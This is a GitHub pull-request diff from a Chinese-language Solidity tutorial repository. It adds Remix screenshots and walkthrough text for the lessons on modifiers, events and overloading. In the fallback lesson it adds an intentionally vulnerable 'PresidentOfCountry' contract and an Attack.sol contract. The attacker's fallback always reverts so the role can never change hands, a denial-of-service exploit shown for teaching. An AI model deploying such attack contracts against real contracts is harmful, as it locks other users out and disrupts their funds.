Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add remix screenshots #26

Merged
merged 2 commits into from May 26, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
2 changes: 2 additions & 0 deletions .gitignore
@@ -0,0 +1,2 @@
*/.DS_Store
.DS_Store
4 changes: 2 additions & 2 deletions 08_Modifier/Owner.sol
Expand Up @@ -2,10 +2,10 @@
pragma solidity ^0.8.4;

contract Owner {
address owner; // 定义owner变量
address public owner; // 定义owner变量

// 构造函数
constructor() public {
constructor() {
owner = msg.sender; // 在部署合约的时候,将owner设置为部署者的地址
}

Expand Down
Binary file added 08_Modifier/assets/16535518992297.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 08_Modifier/assets/16535524434819.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 08_Modifier/assets/16535524536219.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 08_Modifier/assets/16535527548427.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
11 changes: 11 additions & 0 deletions 08_Modifier/readme.md
Expand Up @@ -58,6 +58,17 @@ contract Parents {
`OppenZepplin`是一个维护`solidity`标准化代码库的组织,他的Ownable标准实现如下:
[https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol)

## Remix 演示示例
以 `Owner.sol` 为例。
1. 在 Remix 上编译部署代码。
2. 点击 `owner` 按钮查看当前 owner 变量。
![](assets/16535518992297.jpg)
3. 以 owner 地址的用户身份,调用 `changeOwner` 函数,交易成功。
![](assets/16535524536219.jpg)
4. 以非 owner 地址的用户身份,调用 `changeOwner` 函数,交易失败,因为modifier onlyOwner 的检查语句不满足。
![](assets/16535527548427.jpg)


## 总结
这一讲,我们介绍了`solidity`中的构造函数和修饰符,并举了一个控制合约权限的`Ownable`合约。

Binary file added 09_Event/assets/16535538066362.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 09_Event/assets/16535540748258.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
11 changes: 11 additions & 0 deletions 09_Event/readme.md
Expand Up @@ -47,6 +47,17 @@ event Transfer(address indexed from, address indexed to, uint256 value);
emit Transfer(from, to, amount);
}
```

### Remix 演示
以 `Event.sol` 合约为例,编译部署。

然后调用 `_transfer` 函数。
![](assets/16535538066362.jpg)

点击右侧的交易查看详情,可以看到日志的具体内容。
![](assets/16535540748258.jpg)


### 在etherscan上查询事件
我们尝试用`_transfer()`函数在`Rinkeby`测试网络上转账100代币,可以在`etherscan`上查询到相应的`tx`:[网址](https://rinkeby.etherscan.io/tx/0x8cf87215b23055896d93004112bbd8ab754f081b4491cb48c37592ca8f8a36c7)。

Expand Down
Binary file added 15_Overloading/assets/16535544637594.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
3 changes: 3 additions & 0 deletions 15_Overloading/readme.md
Expand Up @@ -24,6 +24,9 @@ function saySomething(string memory something) public pure returns(string memory

最终重载函数在经过编译器编译后,由于不同的参数类型,都变成了不同的函数选择器(selector)。关于函数选择器的具体内容可参考[Solidity极简入门: 28. 函数选择器Selector](https://github.com/AmazingAng/WTFSolidity/tree/main/28_Selector)。

以 `Overloading.sol` 合约为例,在 Remix 上编译部署后,分别调用重载函数 `saySomething()` 和 `saySomething(string memory something)`,可以看到他们返回了不同的结果,被区分为不同的函数。
![](assets/16535544637594.jpg)

### 实参匹配(Argument Matching)
在调用重载函数时,会把输入的实际参数和函数参数的变量类型做匹配。
如果出现多个匹配的重载函数,[solidity文档](https://docs.soliditylang.org/en/v0.8.12/contracts.html#overload-resolution-and-argument-matching)上说会报错。它给的例子是两个叫`f()`的函数,一个参数为`uint8`,另一个为`uint256`。文档说如果输入`50`,既可以被转换为`uint8`,也可以被转换为`uint256`,因此会报错。但是我没遇到:
Expand Down
8 changes: 8 additions & 0 deletions 16_Fallback/Attack.sol
@@ -0,0 +1,8 @@
pragma solidity ^0.4.10;
contract Attack {
function () { revert(); } // 故意revert造成调用失败

function attack(address _target) public payable {
_target.call.value(msg.value)(bytes4(keccak256("becomePresident()"))); // 调用国王合约中的竞选国王函数
}
}
19 changes: 19 additions & 0 deletions 16_Fallback/PresidentOfCountry.sol
@@ -0,0 +1,19 @@
pragma solidity ^0.4.10;

contract PresidentOfCountry {
address public president;
uint256 price;

function PresidentOfCountry(uint256 _price) {
require(_price > 0);
price = _price;
president = msg.sender;
}

function becomePresident() payable {
require(msg.value >= price); // 金额必须高于当前价格,才能成为国王
president.transfer(price); // 给前任国王打钱
president = msg.sender; // 当选现任国王
price = price * 2; // 当前价格更新为上次的两倍
}
}
Binary file added 16_Fallback/assets/16534913170541.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 16_Fallback/assets/16534918368752.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 16_Fallback/assets/16534919111454.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 16_Fallback/assets/16534920441804.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 16_Fallback/assets/16534923552004.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 16_Fallback/assets/16534924353745.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.